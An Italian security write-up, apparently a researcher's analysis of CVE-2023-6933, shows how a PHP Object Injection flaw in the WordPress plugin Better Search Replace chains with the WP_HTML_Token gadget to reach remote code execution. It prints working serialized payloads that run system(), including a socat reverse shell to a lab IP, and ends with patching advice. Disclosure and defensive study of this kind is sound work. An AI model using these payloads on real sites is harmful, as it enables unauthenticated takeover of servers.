
Introduzione alla vulnerabilità CVE-2023-6933
Il plugin "Better Search Replace" per WordPress presenta una vulnerabilità critica nota come PHP Object Injection. Questo difetto di sicurezza è presente in tutte le versioni fino alla 1.4.4 inclusa. Deriva dalla deserializzazione di input non attendibili, consentendo ad attaccanti non autenticati di iniettare un oggetto PHP nel sistema. È importante notare che il plugin stesso non contiene una catena PHP Object Injection (POI). Tuttavia, se sul sistema target è installato un altro plugin o tema vulnerabile che include una catena POI, questa vulnerabilità potrebbe potenzialmente consentire agli attaccanti di eliminare file arbitrari, accedere a dati sensibili o eseguire codice dannoso.
In questa analisi tratteremo anche la vulnerabilità nella versione 6.4.0 di WordPress, corretta per risolvere un problema di Remote Code Execution (RCE). Inoltre, esploreremo la possibilità di concatenare queste due vulnerabilità per ottenere un'esecuzione remota di codice non autenticata.
Per scoprire la versione stabile attuale del plugin Better Search Replace, utilizzare il seguente comando:
echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]
In primo luogo, ho configurato tre container Docker per l'analisi:
Per comprendere più a fondo la vulnerabilità, ho iniziato ad analizzare commit specifici nel repository GitHub del plugin "Better Search Replace". Questi commit potrebbero contenere informazioni cruciali sulla natura e sulle correzioni della vulnerabilità.

In questa funzione possiamo osservare i seguenti parametri:
from: questo è il testo da sostituire.to: rappresenta il testo di sostituzione.data: questi sono i dati che devono essere sostituiti.È importante notare che i dati vengono passati direttamente alla funzione $this->unserialize($data).

Quindi, qui possiamo vedere che la stringa verrà deserializzata.
Per determinare dove è possibile iniettare un oggetto serializzato in data, esploreremo l'interfaccia visiva del plugin.

Possiamo quindi inserire un oggetto serializzato in una di queste tabelle, ma abbiamo bisogno di un oggetto serializzato vulnerabile per poter ottenere l'esecuzione remota di codice (RCE).
Nella versione 6.4.0 di WordPress è stato introdotto un oggetto PHP, WP_HTML_Token. Ecco una descrizione della sua struttura e del suo potenziale di sfruttamento:
main.php
<?php
class WP_HTML_Token {
public $bookmark_name = null;
public $node_name = null;
public $has_self_closing_flag = false;
public $on_destroy = null;
/**
* Constructor - creates a reference to a token in some external HTML string.
*
* @since 6.4.0
*
* @param string $bookmark_name Name of bookmark corresponding to location in HTML where token is found.
* @param string $node_name Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
* @param bool $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
* @param callable $on_destroy Function to call when destroying token, useful for releasing the bookmark.
*/
public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
$this->bookmark_name = $bookmark_name;
$this->node_name = $node_name;
$this->has_self_closing_flag = $has_self_closing_flag;
$this->on_destroy = $on_destroy;
}
public function __destruct() {
if ( is_callable( $this->on_destroy ) ) {
call_user_func( $this->on_destroy, $this->bookmark_name );
}
}
}
La funzione call_user_func all'interno del metodo __destruct è fondamentale per lo sfruttamento. Richiede:
$this->on_destroy: una funzione richiamabile.
$this->bookmark_name: un argomento per la funzione richiamabile.
Per sfruttare questo, ho provato ad aggiungere le seguenti righe alla fine di main.php (nota: commenta la riga call_user_func prima della serializzazione):
$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
Ora è possibile testare la teoria aggiungendo un commento non autenticato sul sito web.

È il momento di utilizzare il plugin per attivare la funzione di deserializzazione.

Il file è stato creato come previsto, quindi l'RCE durante la deserializzazione e durante la distruzione dell'oggetto funziona correttamente.

Persistenza dei commenti eliminati: Anche se un commento viene eliminato, rimane nel database etichettato come 'non mostrato all'utente'. Tuttavia, il plugin non distingue tra commenti visibili e invisibili e procede comunque alla deserializzazione dell'oggetto.
Deserializzazione durante la dry run: Il processo di deserializzazione avviene anche durante una dry run, il che rappresenta una significativa svista in termini di sicurezza.
Valutazione iniziale: La categorizzazione da parte di Wordfence del Common Vulnerability Scoring System (CVSS) sembra errata. A mio parere, dovrebbe essere valutato 8.8.
Valutazione rivista: Il punteggio CVSS attuale è 9.8. Tuttavia, questa valutazione trascura il fatto che è richiesta l'interazione dell'utente sulla tabella corretta affinché avvenga la deserializzazione del codice. Per confermare questo, ho contattato il ricercatore Sam Pizzey, che ha confermato la mia osservazione: l'esecuzione della vulnerabilità richiede che qualcuno interagisca con il plugin.
Per chi è interessato alle tecniche di reverse shell, ho adattato il mio payload per semplificare questo processo. Questo può essere applicato a siti web dove la registrazione è aperta a tutti:
$token = new WP_HTML_Token("socat TCP:172.17.0.4:4444 EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP:172.17.0.4:4444 EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
Inserimento dell'oggetto PHP nel profilo

Ho quindi aperto un listener in attesa della connessione in arrivo.


Infine, ho ricevuto con successo la connessione della reverse shell.

Questo documento fornisce una panoramica dettagliata della vulnerabilità CVE-2023-6933, inclusi impatto, dettagli tecnici e strategie di mitigazione. Comprendere e affrontare questa vulnerabilità è fondamentale per mantenere la sicurezza e l'integrità delle installazioni WordPress che utilizzano il plugin 'Better Search Replace'.
Per affrontare la vulnerabilità, aggiorna a una versione superiore alla 1.4.4 di Better Search Replace ed esegui gli aggiornamenti di WordPress.
Autore: Maxime Paillé
GitHub: w2xim3
LinkedIn: Profilo LinkedIn